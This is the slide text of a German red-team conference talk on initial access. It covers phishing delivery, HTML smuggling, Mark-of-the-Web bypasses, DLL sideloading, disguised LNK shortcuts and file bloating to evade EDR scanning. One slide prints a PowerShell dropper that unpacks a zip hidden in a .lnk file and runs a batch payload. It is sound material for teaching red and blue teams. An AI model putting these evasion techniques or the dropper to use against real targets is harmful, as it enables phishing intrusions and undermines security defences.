
How to get in: Modern initial access
strategies for Red Teams
ITSECX 2023



/me

David Wind
Geschäftsführer slashsec Red Teaming GmbH
Red Teamer / Penetration Tester / Social Engineer / (occasional) Bug 
Bounty Hunter



https://thedfirreport.com/2023/03/06/2022-year-in-review/



https://twitter.com/cyb3rops/status/1699770378631946531



https://twitter.com/abuse_ch/status/1620152382993862656







Deliver



Deliver | Malware in Attachments

• Wird meist geblockt, Erfolgsaussichten sehr gering 
• Viele Unternehmen blockieren gefährliche Dateitypen
• Der alte Weg: Malware über Makros



Deliver | Malware via Links

• Scanner CIDRs sperren, evtl. auf Länder beschränken
• Trusted (Cloud) Domains/Sites nutzen
• Sandbox / Crawling-bypasses 
• Bei den Links darauf achten
• dass keine verdächtigen Extensions genutzt werden (z. B. .exe) 
• keine verdächtigen GET-Parameter wie ?rid=, ?/id=, ?campaign=

• HTML Smuggeling is the way to go !



https://lots-project.com/



Deliver | Emails

• Domäne aufwärmen !
• Über trusted sources/services versenden
• z. B. GoPhish -> AWS Redirector -> Gmail -> Target

• Verlinkungen (Reputation!)



Deliver | HTML Smuggeling

• JavaScript Blob object mit raw (Malware) data
• <a> Tag erstellen
• URL.createObjectURL() und speichern in zuvor erstelltem <a> Tag
• HTML5 download Funktion wird für Download der ObjectURL genutzt 





Beispiel HTML Smuggeling



Deliver | Alternativen zu Email 

• Teams bzw. andere Messaging Apps
• LinkedIn (In-Mail ?!)
• Chat Services Webseiten, Bewerbungsportale, etc.
• Telefon (Vishing)
• SMS 



Execution



Mark of the Web (MOTW)

• Mark of the web ist eine andere Datei, die als Alternate Data Stream 
(ADS) mit dem Namen Zone.Identifier angehängt wird und nur auf 
NTFS-Dateisystemen verfügbar ist.



Mark of the Web (MOTW)

0. Local computer
1. Local intranet
2. Trusted sites
3. Internet
4. Restricted sites

https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/



MOTW | Bypasses

• Missbrauch von Software, die MOTW nicht unterstützt
• z. B. 7Zip (support, aber nicht default)

• Missbrauch von Containerformaten
• ISO, VHD, …

• Schwachstellen (z. B. CVE-2022-41049)
• Überblick: https://github.com/nmantani/archiver-MOTW-support-

comparison 

https://github.com/nmantani/archiver-MOTW-support-comparison
https://github.com/nmantani/archiver-MOTW-support-comparison


Malware …

• Früher oft via Makros in Office Dokumenten
• Phishing via LNK (Shortcuts) nimmt stark zu
• DLL Sideloads !!



DLL Sideloading

• DLL Sideloading nutzt die Tatsache aus, dass Anwendungen eine 
bösartige DLL-Datei anstelle einer legitimen Datei laden
• Angreifende platzieren bösartige DLLs in Pfaden, die das 

Betriebssystem zuerst durchsucht (aktueller Ordner) 
• Schadcode kann somit innerhalb von anderen (signierten?!) 

Anwendungen ausgeführt werden
• Geeignet für initialen Zugriff, aber auch für Persistenz
• Gegenmaßnahmen: Hardcoding von Pfaden, signieren der DLLs



Absusing LNKs



Absusing LNKs
$obf_lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 02833801} 

| Select-Object -ExpandProperty FullName;$obf_file = 

[system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 

'C:\Users\ADMINI~1\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = 

[Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = 

[System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBy

tes($obf_path, $obf_file[003494..($obf_file.length)]);cd $obf_dir;Expand-

Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force | 

Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force | Out-

Null;& .\malware.bat

https://www.x86matthew.com/view_post?id=embed_exe_lnk



Absusing LNKs

• Icon-Pfad hinterlegen (z. B. zum Standard-PDF Reader des Opfers)
• Danke Edge, dass du ein PDF-Icon miteingebettet hast ! 



Absusing LNKs

• Eine glaubwürdige Beschreibung des Shortcuts (ja, \n ist erlaubt 
¯\_(ツ)_/¯ )



Absusing LNKs

• Den Befehl verstecken (durch Auffüllen des Target-Felds mit 
Leerzeichen)



Bonus | Bloating

• Statisches Scannen von EDRs kann verhindert werden, wenn die 
Dateigröße entsprechend groß ist
• Wird in der Regel auch nicht zur Analyse in die Cloud geschickt ;)
• >1GB ist meist ausreichend

• Wird mit 0x00 aufgefüllt, kann gut komprimiert werden



Bonus | Bloating



Summary



Summary

• DLL Sideloading ermöglicht die Ausführung von DLLs mit Malware 
innerhalb signierter, vertrauenswürdiger Software
• DLLs + Executables in .zip und an LNK anhängen
• Bonus: Statische Erkennung umgehen wir mit Bloating

• LNK manipulieren mit 
• Doppelte Erweiterungen (.pdf.lnk)
• Whitespaces in Target Feld
• Glaubwürdige Beschreibung (/n’s)



Sum it up

• Spear Phishing mit Pretexting !

• Phishing mit Anhängen funktioniert in der Regel nicht mehr

• Links mit hoher Reputation nutzen

• HTML-Smuggling oder verschlüsselte Dateien
• “Hey, ich will meine Bewerbung nur Verschlüsselt mit euch austauschen”

• LNKs (mit PowerShell) funktionieren in der Regel gut

• Andere Kanäle nutzen
• Messaging-Dienste, Webportale, LinkedIn, Telefonanrufe, um Nachdruck zu erzeugen ...

• Gute Malware bauen ;)



Q & A


